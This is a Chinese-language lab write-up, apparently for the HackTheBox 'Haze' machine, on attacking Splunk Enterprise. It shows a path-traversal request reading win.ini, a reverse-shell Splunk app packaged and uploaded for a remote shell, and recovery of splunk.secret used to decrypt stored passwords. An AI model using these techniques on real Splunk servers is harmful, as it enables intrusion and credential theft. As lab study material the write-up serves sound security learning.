Splunk Enterprise 是一个安全信息和事件管理 (SIEM) 平台。它接收各种日志和其他数据,对其进行处理和索引,以便轻松搜索,并允许创建规则来生成操作和仪表板,以显示趋势和异常值。它在安全运营中心 (SOC) 中非常常见
Splunk 文档中的此页面展示了 Splunk 部署中涉及的不同端口。其中包含三个端口/服务。
splunk登录界面
splunk 后台界面
etc
目录中,在 Windows 上通常为 C:\Program Files\Splunk\etc
passwd
文件包含 Splunk Web 登录账户的哈希值conf
文件,每个文件都提供了相应的页面链接etc/system/default
下,用户更新则在 etc/system/local
中进行payload
GET /zh-CN/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host: 10.10.11.61:8000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Referer: http://10.10.11.61:8000/
etc/auth/splunk.secret
用于解密Splunk 配置文件存储在 Splunk 安装目录下的 etc
目录中,在 Windows 上通常为 C:\Program Files\Splunk\etc
,其web密码文件passwd
也是存储在此目录下
GitHub - 0xjpuff/reverse_shell_splunk: A simple splunk package for obtaining reverse shells on both Windows and most *nix systems.
案例:
首先下载示例splunk包
┌──(root㉿kali)-[~/Desktop/htb/Haze]
└─# git clone https://github.com/0xjpuff/reverse_shell_splunk
Cloning into 'reverse_shell_splunk'...
remote: Enumerating objects: 23, done.
remote: Total 23 (delta 0), reused 0 (delta 0), pack-reused 23 (from 1)
Receiving objects: 100% (23/23), 5.16 KiB | 5.16 MiB/s, done.
Resolving deltas: 100% (4/4), done.
#修改 bin目录下脚本文件的 端口和IP
┌──(root㉿kali)-[~/Desktop/htb/Haze/reverse_shell_splunk]
└─# tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
reverse_shell_splunk/
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.bat
reverse_shell_splunk/bin/run.ps1
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
┌──(root㉿kali)-[~/Desktop/htb/Haze/reverse_shell_splunk]
└─# mv reverse_shell_splunk.tgz reverse_shell_splunk.spl
然后上传,监听,等待反弹shell
crypt
函数进行哈希处理。 $6$
表示使用了 SHA-512 哈希算法。有关 SHA-crypt 的详细信息,请参见此处 。splunk.secret
,通常位于 /Splunk/etc/auth/splunk.secret
从 Splunk 7.2 开始,AES256-GCM 用于加密机密信息,在配置文件中,加密密码中的 $7$
表示机密信息。PBKDF2 算法使用 disk-encryption
静态盐值和单次迭代,从 PBKDF2
splunk.secret
的全部 254 个字节(文件末尾的换行符会被删除)中派生出加密密钥。然后,此 256 位密钥将用作 AES256-GCM 的加密密钥,并随机生成一个 16 字节的初始化向量。加密过程会生成密文以及用于完整性验证的“标签”。iv、密文和标签(按此顺序)连接在一起,进行 base64 编码,并在前面添加 $7$
生成配置文件中显示的加密密码。如果 如果密钥小于 254 字节,则用空字节填充。
┌──(root㉿kali)-[~/Desktop/htb/Haze]
└─# splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
Ld@p_Auth_Sp1unk@2k24
Splunk 7.2 之前的版本使用 RC4 加密密钥,配置文件中加密密码中的 $1$
表示该密钥。明文密码先与静态盐值 ( DEFAULTSA
) 进行异或运算,然后使用 splunk.secret
的前 16 个字节作为密钥进行 RC4 加密。生成的密文经过 base64 编码,并在前面添加 $1$
即可生成配置文件中显示的加密密码。
┌──(root㉿kali)-[~/Desktop/htb/Haze/splunk_backup]
└─# find ./Splunk -name splunk.secret
./Splunk/etc/auth/splunk.secret
┌──(root㉿kali)-[~/Desktop/htb/Haze/splunk_backup]
└─# cat ./Splunk/etc/auth/splunk.secret
CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B
┌──(root㉿kali)-[~/…/splunk_backup/Splunk/etc/auth]
└─# splunksecrets splunk-legacy-decrypt -S splunk.secret --ciphertext '$1$YDz8WfhoCWmf6aTRkA+QqUI='
Sp1unkadmin@2k24